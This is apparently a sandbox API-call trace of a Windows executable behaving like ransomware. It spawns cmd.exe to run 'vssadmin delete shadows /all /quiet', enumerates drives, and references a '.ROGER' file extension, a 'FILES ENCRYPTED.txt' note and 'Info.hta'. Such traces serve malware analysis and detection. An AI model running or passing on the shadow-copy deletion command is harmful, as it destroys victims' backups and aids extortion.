lstrlenW (lpString="kernel32.dll") returned 12 [0034.681] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806450 | out: hHeap=0x790000) returned 1 [0034.681] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.681] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8065e0 | out: hHeap=0x790000) returned 1 [0034.681] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3380020 | out: hHeap=0x790000) returned 1 [0034.683] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8670b0 | out: hHeap=0x790000) returned 1 [0034.684] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8770b8 | out: hHeap=0x790000) returned 1 [0034.684] lstrlenW (lpString="%windir%\\System32") returned 17 [0034.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e2b90 | out: hHeap=0x790000) returned 1 [0034.685] lstrlenW (lpString="%appdata%") returned 9 [0034.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8064c8 | out: hHeap=0x790000) returned 1 [0034.685] lstrlenW (lpString="%sh(Startup)%") returned 13 [0034.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8064a0 | out: hHeap=0x790000) returned 1 [0034.685] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0034.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e2b00 | out: hHeap=0x790000) returned 1 [0034.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.685] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8064a0 [0034.685] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8064a0, Size=0x40) returned 0x7e2b00 [0034.685] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2b00, Size=0x80) returned 0x3280048 [0034.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.685] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8064a0 [0034.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1fffc) returned 0x32800d0 [0034.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x8670b0 [0034.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x8770b8 [0034.685] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.685] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8064c8 [0034.685] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8064c8, Size=0x40) returned 0x7e2b00 [0034.685] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2b00, Size=0x80) returned 0x32a00d8 [0034.685] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a00d8, Size=0x100) returned 0x32a00d8 [0034.685] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.686] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a00d8 | out: hHeap=0x790000) returned 1 [0034.686] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x8670b0, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0034.686] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8770b8 | out: hHeap=0x790000) returned 1 [0034.686] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8670b0 | out: hHeap=0x790000) returned 1 [0034.686] CreatePipe (in: hReadPipe=0x18e454, hWritePipe=0x18e458, lpPipeAttributes=0x18e444, nSize=0x0 | out: hReadPipe=0x18e454*=0x2c4, hWritePipe=0x18e458*=0x2c8) returned 1 [0034.686] CreatePipe (in: hReadPipe=0x18e4c4, hWritePipe=0x18e4c8, lpPipeAttributes=0x18e444, nSize=0x0 | out: hReadPipe=0x18e4c4*=0x2cc, hWritePipe=0x18e4c8*=0x2d0) returned 1 [0034.686] SetHandleInformation (hObject=0x2c8, dwMask=0x1, dwFlags=0x0) returned 1 [0034.686] SetHandleInformation (hObject=0x2cc, dwMask=0x1, dwFlags=0x0) returned 1 [0034.686] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18e464*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2c4, hStdOutput=0x2d0, hStdError=0x2d0), lpProcessInformation=0x18e4b4 | out: lpCommandLine=0x0, lpProcessInformation=0x18e4b4*(hProcess=0x2d8, hThread=0x2d4, dwProcessId=0x9cc, dwThreadId=0x9d0)) returned 1 [0034.698] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0034.699] WriteFile (in: hFile=0x2c8, lpBuffer=0x3280048*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18e460, lpOverlapped=0x0 | out: lpBuffer=0x3280048*, lpNumberOfBytesWritten=0x18e460*=0x41, lpOverlapped=0x0) returned 1 [0034.699] CloseHandle (hObject=0x2d8) returned 1 [0034.699] CloseHandle (hObject=0x2d4) returned 1 [0034.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32800d0 | out: hHeap=0x790000) returned 1 [0034.699] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0034.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3280048 | out: hHeap=0x790000) returned 1 [0034.699] lstrlenW (lpString="%comspec%") returned 9 [0034.699] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8064a0 | out: hHeap=0x790000) returned 1 [0034.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4 [0034.699] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc810 [0034.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x7fc810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0034.700] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5d60 [0034.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x7b5d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0034.700] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc8d0 [0034.700] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc8d0, Size=0x20) returned 0x8064a0 [0034.700] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8064a0, Size=0x40) returned 0x7e2b00 [0034.700] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0034.700] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xd0) returned 0x7b00a8 [0034.700] GetLogicalDrives () returned 0x4 [0034.700] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10014) returned 0x3280048 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc8d0 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc8d0, Size=0x20) returned 0x8064a0 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8064a0, Size=0x40) returned 0x7e2b90 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2b90, Size=0x80) returned 0x3290068 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3290068, Size=0x100) returned 0x3290068 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3290068, Size=0x200) returned 0x3290068 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3290068, Size=0x400) returned 0x3290068 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3290068, Size=0x800) returned 0x3290068 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3290068, Size=0x1000) returned 0x3290068 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3291070 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc8d0 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc8e8 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5d40 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fc8b8 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7b5d70 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc870 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d70, Size=0x8) returned 0x7b5d80 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc888 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d80, Size=0x10) returned 0x7fc8a0 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc840 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc858 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc8a0, Size=0x20) returned 0x8064a0 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fc8a0 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5d80 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7fc900 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7fc918 [0034.701] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8064a0, Size=0x40) returned 0x7e2b90 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7fc930 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7fc948 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x32a1090 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x32a10a8 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a10c0 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a10d8 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5d70 [0034.701] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a10f0 [0034.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2b90, Size=0x80) returned 0x32a1478 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1108 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1120 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1138 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1150 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1168 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1180 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1198 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5d90 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a11b0 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a11c8 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a11e0 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a11f8 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1210 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1228 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1240 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1258 [0034.702] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x100) returned 0x32a1478 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1270 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1288 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a12a0 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32a12b8 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a12d0 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a12e8 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5da0 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1300 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1318 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1330 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7b5db0 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1348 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1360 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5dc0 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1378 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1390 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a13a8 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a13c0 [0034.702] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a13d8 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a13f0 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x32a1408 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1420 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32a1438 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1450 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1598 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a15b0 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a15c8 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5dd0 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a15e0 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a15f8 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1610 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1628 [0034.703] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x200) returned 0x32a1980 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1640 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5de0 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1658 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1670 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1688 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a16a0 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a16b8 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a16d0 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a16e8 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1700 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1718 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1730 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1748 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1760 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1778 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1790 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a17a8 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a17c0 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a17d8 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a17f0 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1808 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1820 [0034.703] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1838 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5df0 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1850 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1868 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1880 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5e00 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1898 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a18b0 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a18c8 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a18e0 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a18f8 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1910 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1928 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1940 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1958 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1ba0 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1bb8 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1bd0 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1be8 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1c00 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1c18 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1c30 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1c48 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1c60 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1c78 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1c90 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1ca8 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7b5e10 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7b5e20 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1cc0 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1cd8 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1cf0 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1d08 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1d20 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1d38 [0034.704] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1d50 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1d68 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1d80 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1d98 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1db0 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1dc8 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1de0 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1980, Size=0x400) returned 0x32a1f88 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1df8 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1e10 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x32a1e28 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1e40 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1e58 [0034.705] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x32a1e70 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1f88, Size=0x800) returned 0x8670b0 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d40, Size=0x8) returned 0x32a1fb0 [0034.705] lstrlenW (lpString=".ROGER") returned 6 [0034.705] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x867ea0 | out: hHeap=0x790000) returned 1 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x867ed0, Size=0x20) returned 0x8064a0 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8064a0, Size=0x40) returned 0x7e2b90 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2b90, Size=0x80) returned 0x32a1478 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7b5d40, Size=0x8) returned 0x32a1fc0 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1fc0, Size=0x10) returned 0x867ed0 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x867ed0, Size=0x20) returned 0x8065e0 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x867f00, Size=0x20) returned 0x806450 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806450, Size=0x40) returned 0x7e2b90 [0034.705] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0034.705] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x867f00, Size=0x20) returned 0x806450 [0034.705] lstrlenW (lpString="Info.hta") returned 8 [0034.706] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8680b8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely.exe")) returned 0x3a [0034.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8680b8 | out: hHeap=0x790000) returned 1 [0034.706] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0034.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8065e0, Size=0x40) returned 0x7e2b90 [0034.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x867f00, Size=0x20) returned 0x8065e0 [0034.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x867f00, Size=0x20) returned 0x806450 [0034.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806450, Size=0x40) returned 0x7e2c20 [0034.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2c20, Size=0x80) returned 0x32a1478 [0034.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x100) returned 0x32a1478 [0034.706] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a1478 | out: hHeap=0x790000) returned 1 [0034.706] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x8680b8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0034.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8780c0 | out: hHeap=0x790000) returned 1 [0034.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8680b8 | out: hHeap=0x790000) returned 1 [0034.706] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1fc0, Size=0x8) returned 0x32a1fd0 [0034.706] lstrlenW (lpString="%windir%;") returned 9 [0034.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8065e0 | out: hHeap=0x790000) returned 1 [0034.706] lstrlenW (lpString="C:\\Windows;") returned 11 [0034.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3291070 | out: hHeap=0x790000) returned 1 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x867f18, Size=0x20) returned 0x8065e0 [0034.707] RtlReAllocateHeap 